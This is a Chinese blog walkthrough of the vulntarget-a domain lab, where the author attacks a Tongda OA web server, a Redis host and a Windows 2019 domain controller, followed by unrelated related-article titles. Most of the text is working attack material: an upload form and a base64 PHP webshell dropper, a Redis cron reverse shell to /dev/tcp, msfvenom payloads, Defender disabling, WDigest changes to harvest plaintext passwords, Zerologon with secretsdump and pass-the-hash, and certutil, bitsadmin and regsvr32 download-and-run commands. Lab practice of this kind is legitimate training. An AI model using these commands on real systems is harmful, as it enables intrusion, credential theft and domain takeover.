前言:

最近玩了一下crow大表哥的靶场,觉得靶场打过之后确实是能用到很多技巧和知识,所以在这里做一些个人的学习总结,文章和靶场适合新人,因为不用做免杀,也可以让人初步的了解一下域环境靶场由星期五实验室与乌鸦安全共同维护,GIthub可自行下载,Github原文链接以及原过程链接如下

https://github.com/crow821/vulntarget.
https://mp.weixin.qq.com/s/uxwbnVOxkR8OBkkY9WW6aQ.

靶场下载地址如下

链接: https://pan.baidu.com/s/195iUmvbaKOhtn2S_O-F6TA 提取码: jnkq

此次实验用到的知识点如下:

  1. 通达OA文件包含获取webshell

  2. redis未授权访问写马

  3. msfvenom生成正向连接、反向连接后门

  4. msfconsole进行正向、反向连接

  5. 路由表的添加

  6. 设置代理

  7. 修改注册表利用wiki读取明文密码

  8. cve-2020-1472获取域控权限

  9. impacket包的简单利用

  10. 文件传输

  11. 添加防火墙出站规则(netsh advfirewall set allprofiles state off)

  12. cobalt strike的简单使用

环境介绍:

kali攻击机:

192.168.10.39

win7双网卡

开机密码 admin

网卡1:192.168.10.38(此ip不固定,重启就会变化)

网卡2:10.0.20.98

win2016双网卡

开机密码 Admin#123

网卡1:10.0.10.111

网卡2:10.0.20.99

win2019

开机密码 Admin@666

网卡1:10.0.10.110

win7拿shell

通达OA文件包含+未授权GETSHELL
写上传脚本,用来未授权上传图片马,命名为1.html

<html>
<body>
<form action="http://192.168.10.38/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

访问页面如下

上传的图片马内容如下

<?php$fn = fopen("2.php","w+");$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");$result = fwrite($fn,$st);fclose($fn);
?>

图片马命名为2.jpg

访问1.html,并上传2.jpg,如下图

因为直接写敏感的函数会触发500错误,需要进行base64绕一下文件包含操作如下,上传图片马2.jpg后访问

http://192.168.43.235/ispirit/interface/gateway.php
body
json={"url":"/general/../../attach/im/2203/6758580332.2.jpg"}


文件包含成功后,可直接连接小马
http://192.168.10.38/ispirit/interface/2.php
密码为123456
使用蚁剑链接成功

msf上线进行横向

使用msf生成反向连接马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.39  LPORT=1001 -f exe > /root/1001.exe


将生成的马子传入蚁剑,而后执行即可

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.39
set lport 1001
run


上线成功
查看当前路由情况

run get_local_subnets


添加路由表

run autoroute -s 10.0.20.0/24

或者

bg(background)
use post/multi/manage/autoroute
set session 1
run


查看添加的路由

run autoroute -p


添加代理

bg
use auxiliary/server/socks_proxy
options
run


默认端口是1080
或者添加sock4代理

use auxiliary/server/socks4a
set srvport 9999
run

手动添加代理

vim /etc/proxychains4.conf

老版本的是

vim /etc/proxychains.conf


此时kali代理就生效了

arp -a


扫描端口,偷一下懒(新版本kali与老版本kali都可以使用这个命令)

proxychains nmap -Pn -sT  10.0.20.99 -p 6000-6400


探测到6379端口,疑似redis

proxychains4 nmap -v -n -Pn -p 6379 -sV --script redis-info 10.0.20.99

win2016拿shell

redis未授权访问
疑似存在redis未授权访问,直接连接

proxychains4 redis-cli -h 10.0.20.99

连接成功

利用Redis写入Webshell,前提是目标机器开启Web服务,并且需要知道⽹站路径,还需要具有⽂件读写权限,总体利用起来还是很困难的;这里我推荐直接bash反弹

nc -lvp 7777
set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.43.39/7777 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save

啊偶,尴尬,这是windows,他没有nc.exe是不能像linux一样直接反弹bash的
CONFIG GET dir 也仅能看到安装路径。。。


这里可以使用msf自带的redis爆破模块,

search redis

use 6


半天没动静,失败了

只能说用人家的了,redis写马,但是其实是不知道路径的,这就很难受,假装路径是自己猜到的,不知道为啥,phpmyadmin没起来

proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "<?php @eval($_POST['tx']);?>"
save


蚁剑设置代理

连接小马成功

反向连接,失败

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.20.98  LPORT=1002 -f exe > /root/1002.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.98
set lport 1002
run


死活不上线,查了下,代理、路由表都没问题,win7与win2016监听都已经监听到了1002端口


可以看见,win2016主机状态为syn_sent请求连接状态,若是达成ESTABLISHED状态则表示连接成功,若是有无数个syn_sent则可达到syn泛洪的一个状态,又是一个入狱小技巧,但是就是没连上,我真菜,妈的

正向连接成功

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1003 -f exe > 1003.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 1003
exploit -j -z


运行1003.exe后,上线成功


尝试读取密码
查看当前系统架构

查看进程,发现1003.exe与当前系统架构一致,无需进行进程迁移

若是当前马子架构与系统存在差异,可以进行进程迁移指令
migrate [PID]
加载kiwi模块  load kiwi


help kiwi 获取使用帮助,kiwi其实就是mimikatz增强版,由于当前权限就是system所以不用提权了

读取全部密码
好烦啊,由于是win2016,在2012版本就读不到明文密码了,除非修改注册表,这里读取到了NTLM HASH值

creds_all


如果想读取明文密码,需要修改注册表,同时得等用户下次输入密码才行,可以重启或者锁屏

临时禁止Windows Defender,防止防火墙报警
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
修改注册表开启UseLogonCredential
win2016方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f   关闭
win2012方法:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
锁屏:
rundll32.exe user32.dll,LockWorkStation
注销:
查询已登录用户的会话ID
query user
logoff ID

注销容易丢shell,慎用
嘻嘻嘻,成功读到,越来越刑了

查看win2016网卡

run get_local_subnets


添加路由表

run autoroute -s 10.0.10.0/24


查看路由表

run autoroute -p


探测主域信息

run post/windows/gather/enum_domain

以前实验的时候,win2016权限的时候是可以定位到域控信息的,难道是因为现在是system权限导致无法定位域控?

附上一张我上次成功定位域控服务器的图,图有点模糊,wps是真的烦

vulntarget
win2019
10.0.10.110

若是在实际操作中,无法定位域控服务器,可以配合其它命令
net user /domain 获取当前域内所有用户,报错了,可能是权限不够

ipconfig /all 查看当前所有网络配置,找到当前域的DNS,一般DNS就是域控地址

net config workstation 查看当前登录情况

获取域控服务器权限

获取域控有以下几种方式

1.溢出
ms08_067
ms14-068 进行普通域用户提权为域管理员权限
cve-2020-1472等
2.DNS 溢出
DNS 服务器可能就是域控 so…
3.弱口令爆破
弱口令+已经控制的服务器口令+
将抓下的明文+一些常用弱口令。组合成字典去。
爆破局域网中存在数据库服务器的主机
4.键盘记录+3389 登入记录
这个记录了 在线管理员的 键盘记录~
keyscan_dump //进行键盘监控
运气好与管理员登陆过这台普通域用户的机子,直接mimikatz进行内存读密码就行
5.假冒令牌
在假冒攻击中 我们将盗取目标系统的一个 Kerberos 令牌,将其用在身份认证中。来假冒当初建立这个令牌的用户。为了能够获取到域管理员的凭证我们需要用域管理员登录一下远程桌面。
6.嗅探
7.ipc$

这里用到的漏洞是
CVE-2020-1472
首先我们这里需要用到python的一个impacket库,下载链接如下:
https://github.com/SecureAuthCorp/impacket.git
虽然知道2019存在该漏洞,但是在平时我们是不知道别人的主机是否安装了这个漏洞补丁的,所以先用poc看一下,poc链接如下:
https://github.com/SecuraBV/CVE-2020-1472
此处我们既然要利用该漏洞,就应该用exp将域控打空
exp如下:
https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py 域控主机名 域控IP

检测漏洞存在与否,特别慢,最后还没检测出来

proxychains python3 zerologon_tester.py win2019 10.0.10.110


密码置空

proxychains python3 cve-2020-1472-exploit.py win2019 10.0.10.110


获取hash 进入impacket/examples
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass

proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass


aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

可以使用smbexex/wmiexec.py

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110


python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110


可以看到,权限是不一样的
开启远程桌面

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /fwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

由于我没能获取到域控服务器的明文密码,并且使用hash直接登录远程桌面失败后,我想采取老办法,先传马子上线然后获取明文密码再远程,但是废了半天劲儿,文件传上去了,但是无论是cs、还是msf的正向反向,都上不去,所以只能说学习的路还很长
后来查了好多东西,原来是防火墙作祟。。。
上传马子的成功姿势如下
powershell (new-object System.Net.WebClient).DownloadFile(‘http://10.0.10.111/1001.exe’,‘c:\1001.exe’)
为了方便,我直接吧1001.exe上传到了win2016服务器的根路径,因为不需要我启动什么python服务,毕竟win2016是有小皮环境的

上传的话有很多种方式,但是试了一下,只有powershell好使

生成正向马子

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1005 -f exe > 1005.exe


smbexec.py获取域控权限后,执行以下命令
添加防火墙规则,虽然不知道这是啥玩意,但是应该是成功了

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1005 action=allow


上传文件,一定要注意,先将1005.exe小马上传至10.0.20.99服务器根路径

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/1005.exe','c:\1005.exe')


msf开启正向监听

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.110
set lport 1005
run


上线了
由于我这里用的是smbexec.py,所以上线的权限也是administrator权限

其它的方式在这里也简单的介绍一下,都是windows自带的

certutil
certutil -urlcache -split -f http://192.168.10.39/5.exe c:\1.exebitsadmin
bitsadmin /transfer n http://192.168.10.39/5.exe c:\1.exeregsvr32
regsvr32 /u /s /i:http://192.168.10.39/5.exe scrobj.dllCurl
curl http://192.168.10.39/5.exeWget
wget http://192.168.10.39/5.exe

nc就更不用说了,但是人家机器上没有

cs上线步骤如下:

建立win7监听如下


生成后门


将生成的CS_1101.exe通过蚁剑上传至10.0.20.98(win7)服务器,而后执行

CS成功上线

上线第二台10.0.20.99(win2016)机器,需要重新建立一个正向监听

而后生成马子命名为CS_1103.exe

监听器选择Win2016

将生成的CS_1003.exe通过蚁剑上传至10.0.20.99(win2016)服务器,而后运行即可

此时CS未成功上线,需要使用10.0.20.98机器进行监听才行

connect 10.0.20.99 1103


如法炮制,再次建立一个监听器1104

生成与步骤二相同的马子CS_1104.exe而后上传至10.0.10.111服务器,再借鉴powershell命令进行下载至10.0.10.110服务器,并添加对应的防火墙规则,而后执行即可

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/CS_1104.exe','c:\CS_1104.exe​')


添加防火墙规则

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1104 action=allow


执行小马,cs选择10.0.20.99进行监听

conoect 10.0.10.110 1104


芜湖,上线喽

vulntarget-a靶场的学习思考相关推荐

  1. 老刘说NLP:焦虑被大肆贩卖下的自然语言处理学习思考

    一.话题的由来 近期,有不少朋友来信,来询问如何看待自然语言处理这个方向,表示对当前的状态很不满,希望能够尽快地找到一个合适的方向.快速的学习方式,提升自己的自然语言处理能力,从而找到一个算法岗位的面 ...

  2. 计算机结构化思维学计算机,基于结构化知识的学习/思考机器和学习/思考方法以及计算机系统和信息生成方法...

    主权项: 1.一种学习/思考机器,具备由网罗地收集信息的装置:\r\r\r\r\n 对收集到的信息的进行解析,并按照多个规则抽出语义关系的装\r\r\r\r\n置:\r\r\r\r\n 由将语义内容作 ...

  3. Color correction matrix(色彩矩阵)的学习思考

    Color correction matrix(色彩矩阵)的学习思考 转载于:Color correction matrix(色彩矩阵)的学习思考 一张好的色彩效果图像,是gamma,AWB,CCM, ...

  4. 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...

    对于想学习或者参加CTF比赛的朋友来说,CTF工具.练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助. CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容 ...

  5. 学习+思考+总结+分享

    当前的社会,当前的程序员,已经都告别了单打独斗就能够搞定一切的时代了,团队变得越来越重要.而在团队之中,或者更广泛一些,在程序员这个圈子当中,没有分享和交流,是不可想象的.那样只能导致固步自封,作为一 ...

  6. Android第一行代码学习思考笔记(碎片、广播、持久化技术和Android数据库)

    Android第一行代码学习思考笔记(碎片.广播.持久化技术和Android数据库 第四章 手机平板要兼顾--探究碎片 4.1碎片是什么(Fragment) 4.2碎片的使用方式 4.2.1碎片的简单 ...

  7. 靶场Juice-Shop学习

    靶场Juice-shop学习 1.安装 使用docker安装juice-shop docker pull bkimminich/juice-shop docker run --rm -p 3000:3 ...

  8. 论让人工智能AI学习思考具有智慧之新思路

    论让人工智能AI学习思考具有智慧之新思路 李万鸿2019-11-1 许多科学家遇到百思不解的难题都是在梦中得到启示解决的,如苯环的发现,我最近思考人工智能具有智慧的问题,昨晚做了一个梦,梦见孩子在大海 ...

  9. Arduino 学习思考与记录

    Arduino的自己个人理解 前言 Arduino 电子器件 电路 编程语言 Arduino能干什么 如何学习Arduino 闲言 江客:时荒 遇事不决可问春风,春风不语,遵循本心. --<剑来 ...

  10. 文件上传漏洞靶场upload-labs学习(pass1-pass5)

    Upload-Labs学习 0x00 upload-labs简介 0x01 upload-labs环境搭建 0x02 Pass1(前端判断绕过) 0x03 Pass2(content-type类型绕过 ...

最新文章

  1. 2012 ARM嵌入式开发应用研讨会杂谈
  2. 管理系统中计算机应用第四章重点,管理系统中计算机应用课堂笔记第四章(4)...
  3. 矩阵管理——本质是职能分工,例如所有部门都执行财务部门制定的财务制度而不会各自为政...
  4. [13年迁移]firefoxfocus为火狐新建焦点事件
  5. [云炬创业基础笔记]第六章商业模式测试20
  6. JDBC连接不同数据库的连接参数
  7. 【转】一步一步教你远程调用EJB
  8. ssh免密码登陆(三个节点master slave1 slave2)详细带命令版
  9. eos 编译笔记(注意点)
  10. 理解React的组件
  11. Android:最全面的 Webview 详解
  12. wine装通达信_通过wine使用通达信、钱龙、同花顺、大智慧软件 | 学步园
  13. 混合云存储阵列与云存储网关的协同解决方案
  14. VMware16安装win7 x64 虚拟机
  15. 京东vs淘宝的商业模式,你了解吗?
  16. App推广:渠道与运营模型
  17. 怎么把静态地图做成gif动图?一键教你快速合成gif地图
  18. 推荐一个开源快速开发erp管理系统的框架
  19. 勒让德符号判断二次剩余-C语言
  20. Linux-Shell(六)

热门文章

  1. 留学背景提升是投机取巧走“捷径”?还是脚踏实地,仰望星空?
  2. Vue 中使用Echarts构建3D地球
  3. 5 个最好的免费开源反病毒工具(PC版)
  4. android banner图片错位,android轮播图Banner的使用及详解
  5. 定义与声明、头文件与extern总结
  6. 学习编程悟出8个字《精辟》!
  7. 两小时从零学会vue-admin-template框架
  8. AndroidStudio
  9. AMD显卡更新UEFI GOP
  10. java开发常用软件下载地址及教程。